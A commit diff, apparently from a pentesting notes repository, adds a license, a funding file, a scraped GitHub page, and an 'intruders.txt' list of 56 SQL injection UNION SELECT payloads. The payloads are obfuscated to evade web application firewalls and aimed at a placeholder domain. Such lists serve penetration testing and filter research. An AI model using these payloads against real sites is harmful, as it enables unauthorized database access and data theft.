Projects STRLCPY Cipherops Commits 4d26f2fc
🤬
Showing first 21 files as there are too many
  • .gitbook/assets/4f142edb371c499a93c4b1fe9a2576689dcbab33
    Diff is too large to be displayed.
  • .gitbook/assets/Cloud Pentesting Cheatsheet.pdf
    Binary file.
  • ■ ■ ■ ■ ■ ■
    .gitbook/assets/FUNDING.yml
     1 +# These are supported funding model platforms
     2 + 
     3 +github: kleiton0x00
     4 +patreon: # Replace with a single Patreon username
     5 +open_collective: # Replace with a single Open Collective username
     6 +ko_fi: # Replace with a single Ko-fi username
     7 +tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
     8 +community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
     9 +liberapay: # Replace with a single Liberapay username
     10 +issuehunt: # Replace with a single IssueHunt username
     11 +otechie: # Replace with a single Otechie username
     12 +lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry
     13 +custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
     14 + 
  • ■ ■ ■ ■ ■ ■
    .gitbook/assets/LICENSE
     1 +MIT License
     2 + 
     3 +Copyright (c) 2020 dafthack
     4 + 
     5 +Permission is hereby granted, free of charge, to any person obtaining a copy
     6 +of this software and associated documentation files (the "Software"), to deal
     7 +in the Software without restriction, including without limitation the rights
     8 +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
     9 +copies of the Software, and to permit persons to whom the Software is
     10 +furnished to do so, subject to the following conditions:
     11 + 
     12 +The above copyright notice and this permission notice shall be included in all
     13 +copies or substantial portions of the Software.
     14 + 
     15 +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
     16 +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
     17 +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
     18 +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
     19 +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
     20 +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
     21 +SOFTWARE.
     22 + 
  • ■ ■ ■ ■ ■ ■
    .gitbook/assets/intruders.txt
     1 +http://domain.com/index.php?id=1 /*!50000%55nIoN*/ /*!50000%53eLeCt*/ 1,2,3,4-- -
     2 +http://domain.com/index.php?id=1 %55nion(%53elect 1,2,3) 1,2,3,4-- -
     3 +http://domain.com/index.php?id=1+union+distinctROW+select+1,2,3,4--+-
     4 +http://domain.com/index.php?id=1+ #?uNiOn + #?sEleCt 1,2,3,4-- -
     5 +http://domain.com/index.php?id=1 + #?1q %0AuNiOn all#qa%0A#%0AsEleCt 1,2,3,4-- -
     6 +http://domain.com/index.php?id=1 /*!%55NiOn*/ /*!%53eLEct*/ 1,2,3,4-- -
     7 +http://domain.com/index.php?id=1 +un/**/ion+se/**/lect 1,2,3,4-- -
     8 +http://domain.com/index.php?id=1 +?UnI?On?+'SeL?ECT? 1,2,3,4-- -
     9 +http://domain.com/index.php?id=1+(UnIoN)+(SelECT)+1,2,3,4--+-
     10 +http://domain.com/index.php?id=1 +UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,4-- -
     11 +http://domain.com/index.php?id=1 %55nion(%53elect 1,2,3,4)-- -
     12 +http://domain.com/index.php?id=1 /**//*!12345UNION SELECT*//**/ 1,2,3,4-- -
     13 +http://domain.com/index.php?id=1 /**//*!50000UNION SELECT*//**/ 1,2,3,4-- -
     14 +http://domain.com/index.php?id=1 /**/UNION/**//*!50000SELECT*//**/ 1,2,3,4-- -
     15 +http://domain.com/index.php?id=1 /*!50000UniON SeLeCt*/ 1,2,3,4-- -
     16 +http://domain.com/index.php?id=1 union /*!50000%53elect*/ 1,2,3,4-- -
     17 +http://domain.com/index.php?id=1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4-- -
     18 +http://domain.com/index.php?id=1 /*--*/union/*--*/select/*--*/ 1,2,3,4-- -
     19 +http://domain.com/index.php?id=1 union (/*!/**/ SeleCT */ 1,2,3,4)-- -
     20 +http://domain.com/index.php?id=1 /*!union*/+/*!select*/ 1,2,3,4-- -
     21 +http://domain.com/index.php?id=1 /**/uNIon/**/sEleCt/**/ 1,2,3,4-- -
     22 +http://domain.com/index.php?id=1 +%2F**/+Union/*!select*/ 1,2,3,4-- -
     23 +http://domain.com/index.php?id=1 /**//*!union*//**//*!select*//**/ 1,2,3,4-- -
     24 +http://domain.com/index.php?id=1 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4-- -
     25 +http://domain.com/index.php?id=1 /**/union/*!50000select*//**/ 1,2,3,4-- -
     26 +http://domain.com/index.php?id=1 0%a0union%a0select%09 1,2,3,4-- -
     27 +http://domain.com/index.php?id=1 %0Aunion%0Aselect%0A 1,2,3,4-- -
     28 +http://domain.com/index.php?id=1 uni<on all="" sel="">/*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ 1,2,3,4-- -
     29 +http://domain.com/index.php?id=1 %252f%252a*/UNION%252f%252a /SELECT%252f%252a*/ 1,2,3,4-- -
     30 +http://domain.com/index.php?id=1 /*!union*//*--*//*!all*//*--*//*!select*/ 1,2,3,4-- -
     31 +http://domain.com/index.php?id=1 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C 1,2,3,4-- -
     32 +http://domain.com/index.php?id=1 /*!20000%0d%0aunion*/+/*!20000%0d%0aSelEct*/ 1,2,3,4-- -
     33 +http://domain.com/index.php?id=1 +UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,4-- -
     34 +http://domain.com/index.php?id=1 union+sel%0bect 1,2,3,4-- -
     35 +http://domain.com/index.php?id=1 +#1q%0Aunion all#qa%0A#%0Aselect 1,2,3,4-- -
     36 +http://domain.com/index.php?id=1 %23xyz%0AUnIOn%23xyz%0ASeLecT+ 1,2,3,4-- -
     37 +http://domain.com/index.php?id=1 %23xyz%0A%55nIOn%23xyz%0A%53eLecT+ 1,2,3,4-- -
     38 +http://domain.com/index.php?id=1 union(select(1),2,3)-- -
     39 +http://domain.com/index.php?id=1 uNioN (/*!/**/ SeleCT */ 11) 1,2,3,4-- -
     40 +http://domain.com/index.php?id=1 /**//*U*//*n*//*I*//*o*//*N*//*S*//*e*//*L*//*e*//*c*//*T*/ 1,2,3,4-- -
     41 +http://domain.com/index.php?id=1 %0A/**//*!50000%55nIOn*//*yoyu*/all/**/%0A/*!%53eLEct*/%0A/*nnaa*/ 1,2,3,4-- -
     42 +http://domain.com/index.php?id=1 +union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A1% 2C2%2C 1,2,3,4-- -
     43 +http://domain.com/index.php?id=1 /*!f****U%0d%0aunion*/+/*!f****U%0d%0aSelEct*/ 1,2,3,4-- -
     44 +http://domain.com/index.php?id=1 +UnIoN/*&a=*/SeLeCT/*&a=*/ 1,2,3,4-- -
     45 +http://domain.com/index.php?id=1 +/*!UnIoN*/+/*!SeLeCt*/+ 1,2,3,4-- -
     46 +http://domain.com/index.php?id=1 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4-- -
     47 +http://domain.com/index.php?id=1 uni%20union%20/*!select*/%20 1,2,3,4-- -
     48 +http://domain.com/index.php?id=1 union%23aa%0Aselect 1,2,3,4-- -
     49 +http://domain.com/index.php?id=1/**/union/*!50000select*/ 1,2,3,4-- -
     50 +http://domain.com/index.php?id=1 /^****union.*$/ /^****select.*$/ 1,2,3,4-- -
     51 +http://domain.com/index.php?id=1 /*union*/union/*select*/select+ 1,2,3,4-- -
     52 +http://domain.com/index.php?id=1 /*!50000UnION*//*!50000SeLeCt*/ 1,2,3,4-- -
     53 +http://domain.com/index.php?id=1 %252f%252a*/union%252f%252a /select%252f%252a*/ 1,2,3,4-- -
     54 +http://domain.com/index.php?id=1 AnD null UNiON SeLeCt 1,2,3,4;%00-- -
     55 +http://domain.com/index.php?id=1 AnD null UNiON SeLeCt 1,2,3,4+--+-
     56 +http://domain.com/index.php?id=1 And False Union Select 1,2,3,4+--+-
     57 + 
  • ■ ■ ■ ■ ■ ■
    .gitbook/assets/labels
     1 + 
     2 + 
     3 + 
     4 + 
     5 + 
     6 + 
     7 + 
     8 +<!DOCTYPE html>
     9 +<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system">
     10 + <head>
     11 + <meta charset="utf-8">
     12 + <link rel="dns-prefetch" href="https://github.githubassets.com">
     13 + <link rel="dns-prefetch" href="https://avatars.githubusercontent.com">
     14 + <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com">
     15 + <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/">
     16 + <link rel="preconnect" href="https://github.githubassets.com" crossorigin>
     17 + <link rel="preconnect" href="https://avatars.githubusercontent.com">
     18 + 
     19 +
     20 + 
     21 + <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-8cafbcbd78f4.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-31dc14e38457.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-71414d661fe2.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-ba96c7f1d660.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-7471c22cdb6a.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-80180bed15ed.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-e89b9cdecb75.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-77f15e9154df.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-f598f8dd18ae.css" />
     22 +
     23 + <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-primitives-fb1d51d1ef66.css" />
     24 + <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-60c5e476b0dc.css" />
     25 + <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-5f348e729995.css" />
     26 + <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-d534e5531df6.css" />
     27 +
     28 + 
     29 +
     30 + 
     31 + <script type="application/json" id="client-env">{"locale":"en","featureFlags":["failbot_handle_non_errors","fix_react_title","geojson_azure_maps","image_metric_tracking","turbo_experiment_risky","use_scroll_restoration"]}</script>
     32 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-c22ccac186ce.js"></script>
     33 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-a4c183-ae93d3fba59c.js"></script>
     34 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-89ab267313f8.js"></script>
     35 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-0eb35af480ad.js"></script>
     36 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_dompurify_dist_purify_js-64d590970fa6.js"></script>
     37 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script>
     38 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-99e288659d4f.js"></script>
     39 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script>
     40 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_auto-complete-element-5b3870-9b38c0812424.js"></script>
     41 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script>
     42 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-8873b7-5771678648e0.js"></script>
     43 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-e7a1e2-49659aed34cc.js"></script>
     44 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-d39383c204f1.js"></script>
     45 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-4973db03d07f.js"></script>
     46 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script>
     47 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_hydro-analytics-client_dist_analytics-client_js-node_modules_gith-f3aee1-fd3c22610e40.js"></script>
     48 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-b1fdd7158cf0.js"></script>
     49 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script>
     50 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_turbo_dist_turbo_es2017-esm_js-1f4793023fcd.js"></script>
     51 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_scroll-anchoring_dist_scro-52dc4b-e1e33bfc0b7e.js"></script>
     52 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script>
     53 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-7a8e2b-f036384374ea.js"></script>
     54 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-126aeb5c22c9.js"></script>
     55 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_task-list_ts-app_assets_modules_github_onfocus_ts-app_ass-079b43-c46fa3ecf26e.js"></script>
     56 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-050ad6637d58.js"></script>
     57 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-2e2258-b84eab1b8924.js"></script>
     58 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-f22ac6b94445.js"></script>
     59 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_blob-anchor_ts-app_assets_modules_github_filter-sort_ts-app_assets_-c96432-3460172f1b1f.js"></script>
     60 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-6cc7b3714f97.js"></script>
     61 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-fe0b8ccc90a5.js"></script>
     62 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f57687007bfc.js"></script>
     63 +
     64 + 
     65 + <title>Labels · dafthack/CloudPentestCheatsheets · GitHub</title>
     66 + 
     67 + 
     68 + 
     69 + <meta name="route-pattern" content="/:user_id/:repository/labels(.:format)">
     70 + 
     71 +
     72 + <meta name="current-catalog-service-hash" content="81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114">
     73 + 
     74 + 
     75 + <meta name="request-id" content="726B:2802:724D6F:97ABC5:64B24469" data-pjax-transient="true"/><meta name="html-safe-nonce" content="63c8d153b1c86ccffbe2556c7dc421c3fe57bf221f0d3208913739e844ca8355" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI3MjZCOjI4MDI6NzI0RDZGOjk3QUJDNTo2NEIyNDQ2OSIsInZpc2l0b3JfaWQiOiI4NjQwMzc1MzcyNTEzNDI4NTg1IiwicmVnaW9uX2VkZ2UiOiJpYWQiLCJyZWdpb25fcmVuZGVyIjoiaWFkIn0=" data-pjax-transient="true"/><meta name="visitor-hmac" content="89e5e6c7bc84e46ba6050fa41a98110cd48349e573a39adfad899bcd42a30355" data-pjax-transient="true"/>
     76 + 
     77 + 
     78 + <meta name="hovercard-subject-tag" content="repository:271670262" data-turbo-transient>
     79 + 
     80 + 
     81 + <meta name="github-keyboard-shortcuts" content="repository" data-turbo-transient="true" />
     82 +
     83 + 
     84 + <meta name="selected-link" value="repo_issues" data-turbo-transient>
     85 + <link rel="assets" href="https://github.githubassets.com/">
     86 + 
     87 + <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY">
     88 + <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU">
     89 + <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA">
     90 + <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc">
     91 + <meta name="google-site-verification" content="Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I">
     92 + 
     93 +<meta name="octolytics-url" content="https://collector.github.com/github/collect" />
     94 + 
     95 + <meta name="analytics-location" content="/&lt;user-name&gt;/&lt;repo-name&gt;/labels/index" data-turbo-transient="true" />
     96 + 
     97 +
     98 + 
     99 + 
     100 + 
     101 + 
     102 +
     103 + 
     104 + <meta name="user-login" content="">
     105 + 
     106 +
     107 + 
     108 + <meta name="viewport" content="width=device-width">
     109 +
     110 + <meta name="description" content="This repository contains a collection of cheatsheets I have put together for tools related to pentesting organizations that leverage cloud providers. - Labels · dafthack/CloudPentestCheatsheets">
     111 + <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub">
     112 + <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub">
     113 + <meta property="fb:app_id" content="1401488693436528">
     114 + <meta name="apple-itunes-app" content="app-id=1477376905, app-argument=https://github.com/dafthack/CloudPentestCheatsheets/labels" />
     115 + <meta name="twitter:image:src" content="https://opengraph.githubassets.com/a09dc13fdfc5774a92a02897e9f6ee35973eb98e37350526149fc8179a8fbfab/dafthack/CloudPentestCheatsheets" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="Labels · dafthack/CloudPentestCheatsheets" /><meta name="twitter:description" content="This repository contains a collection of cheatsheets I have put together for tools related to pentesting organizations that leverage cloud providers. - Labels · dafthack/CloudPentestCheatsheets" />
     116 + <meta property="og:image" content="https://opengraph.githubassets.com/a09dc13fdfc5774a92a02897e9f6ee35973eb98e37350526149fc8179a8fbfab/dafthack/CloudPentestCheatsheets" /><meta property="og:image:alt" content="This repository contains a collection of cheatsheets I have put together for tools related to pentesting organizations that leverage cloud providers. - Labels · dafthack/CloudPentestCheatsheets" /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Labels · dafthack/CloudPentestCheatsheets" /><meta property="og:url" content="https://github.com/dafthack/CloudPentestCheatsheets" /><meta property="og:description" content="This repository contains a collection of cheatsheets I have put together for tools related to pentesting organizations that leverage cloud providers. - Labels · dafthack/CloudPentestCheatsheets" />
     117 +
     118 + 
     119 + 
     120 + 
     121 + <meta name="hostname" content="github.com">
     122 + 
     123 + 
     124 + 
     125 + <meta name="expected-hostname" content="github.com">
     126 + 
     127 + <meta name="enabled-features" content="FAILBOT_HANDLE_NON_ERRORS,FIX_REACT_TITLE,GEOJSON_AZURE_MAPS,IMAGE_METRIC_TRACKING,TURBO_EXPERIMENT_RISKY,USE_SCROLL_RESTORATION">
     128 + 
     129 + 
     130 + <meta http-equiv="x-pjax-version" content="ad8a8ed1abba213ec83bd22e07dfcc652ae17ddd15765f4f78fb8ea7c4261976" data-turbo-track="reload">
     131 + <meta http-equiv="x-pjax-csp-version" content="0db263f9a873141d8256f783c35f244c06d490aacc3b680f99794dd8fd59fb59" data-turbo-track="reload">
     132 + <meta http-equiv="x-pjax-css-version" content="a0b5f0d58392b9075ba3ee7056b5c705d251144fea1e1bdc488d87cea58d2353" data-turbo-track="reload">
     133 + <meta http-equiv="x-pjax-js-version" content="4c0dff8d823d88495ced2ebe7100844067814a247de2fd0bf4986d8f47af3222" data-turbo-track="reload">
     134 + 
     135 + <meta name="turbo-cache-control" content="no-preview" data-turbo-transient="">
     136 + 
     137 +
     138 + <meta name="go-import" content="github.com/dafthack/CloudPentestCheatsheets git https://github.com/dafthack/CloudPentestCheatsheets.git">
     139 + 
     140 + <meta name="octolytics-dimension-user_id" content="2296229" /><meta name="octolytics-dimension-user_login" content="dafthack" /><meta name="octolytics-dimension-repository_id" content="271670262" /><meta name="octolytics-dimension-repository_nwo" content="dafthack/CloudPentestCheatsheets" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="271670262" /><meta name="octolytics-dimension-repository_network_root_nwo" content="dafthack/CloudPentestCheatsheets" />
     141 + 
     142 + 
     143 + 
     144 + <meta name="turbo-body-classes" content="logged-out env-production page-responsive">
     145 + 
     146 + 
     147 + <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats">
     148 + 
     149 + <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors">
     150 + 
     151 + <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors">
     152 + 
     153 + <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000">
     154 + <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png">
     155 + <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg">
     156 + 
     157 +<meta name="theme-color" content="#1e2327">
     158 +<meta name="color-scheme" content="light dark" />
     159 + 
     160 + 
     161 + <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials">
     162 + 
     163 + </head>
     164 + 
     165 + <body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
     166 + <div data-turbo-body class="logged-out env-production page-responsive" style="word-wrap: break-word;">
     167 +
     168 + 
     169 + 
     170 + <div class="position-relative js-header-wrapper ">
     171 + <a href="#start-of-content" class="px-2 py-4 color-bg-accent-emphasis color-fg-on-emphasis show-on-focus js-skip-to-content">Skip to content</a>
     172 + <span data-view-component="true" class="progress-pjax-loader Progress position-fixed width-full">
     173 + <span style="width: 0%;" data-view-component="true" class="Progress-item progress-pjax-loader-bar left-0 top-0 color-bg-accent-emphasis"></span>
     174 +</span>
     175 +
     176 + 
     177 + 
     178 +
     179 + 
     180 +
     181 + 
     182 +
     183 + 
     184 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_memoize_dist_esm_in-687f35-d131f0b6de8e.js"></script>
     185 +<script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/sessions-2638decb9ee5.js"></script>
     186 +<header class="Header-old header-logged-out js-details-container Details position-relative f4 py-3" role="banner" data-color-mode=light data-light-theme=light data-dark-theme=dark>
     187 + <button type="button" class="Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target" aria-label="Toggle navigation">
     188 + <span class="d-none">Toggle navigation</span>
     189 + </button>
     190 + 
     191 + <div class=" d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1">
     192 + <div class="d-flex flex-justify-between flex-items-center width-full width-lg-auto">
     193 + <a class="mr-lg-3 color-fg-inherit flex-order-2" href="https://github.com/" aria-label="Homepage" data-ga-click="(Logged out) Header, go to homepage, icon:logo-wordmark">
     194 + <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github">
     195 + <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path>
     196 +</svg>
     197 + </a>
     198 + 
     199 + <div class="flex-1">
     200 + <a href="/signup?ref_cta=Sign+up&amp;ref_loc=header+logged+out&amp;ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Flabels%2Findex&amp;source=header-repo"
     201 + class="d-inline-block d-lg-none flex-order-1 f5 no-underline border color-border-default rounded-2 px-2 py-1 color-fg-inherit"
     202 + data-hydro-click="{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;site header&quot;,&quot;repository_id&quot;:null,&quot;auth_type&quot;:&quot;SIGN_UP&quot;,&quot;originating_url&quot;:&quot;https://github.com/dafthack/CloudPentestCheatsheets/labels&quot;,&quot;user_id&quot;:null}}" data-hydro-click-hmac="08ae54dd743bee99ddaa0c65b83c79a4b8827ff6cef0dfa6aa7a49ae2fe90385"
     203 + >
     204 + Sign&nbsp;up
     205 + </a>
     206 + </div>
     207 + 
     208 + <div class="flex-1 flex-order-2 text-right">
     209 + <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1"> <span class="Button-content">
     210 + <span class="Button-label"><div class="HeaderMenu-toggle-bar rounded my-1"></div>
     211 + <div class="HeaderMenu-toggle-bar rounded my-1"></div>
     212 + <div class="HeaderMenu-toggle-bar rounded my-1"></div></span>
     213 + </span>
     214 +</button>
     215 + </div>
     216 + </div>
     217 + 
     218 + 
     219 + <div class="HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0">
     220 + <div class="header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0">
     221 + <nav class="mt-0 px-3 px-lg-0 mb-3 mb-lg-0" aria-label="Global">
     222 + <ul class="d-lg-flex list-style-none">
     223 + <li class="HeaderMenu-item position-relative flex-wrap flex-justify-between flex-items-center d-block d-lg-flex flex-lg-nowrap flex-lg-items-center js-details-container js-header-menu-item">
     224 + <button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false">
     225 + Product
     226 + <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1">
     227 + <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path>
     228 +</svg>
     229 + </button>
     230 + <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide">
     231 + <div class="px-lg-4 border-lg-right mb-4 mb-lg-0 pr-lg-7">
     232 + <ul class="list-style-none f5" >
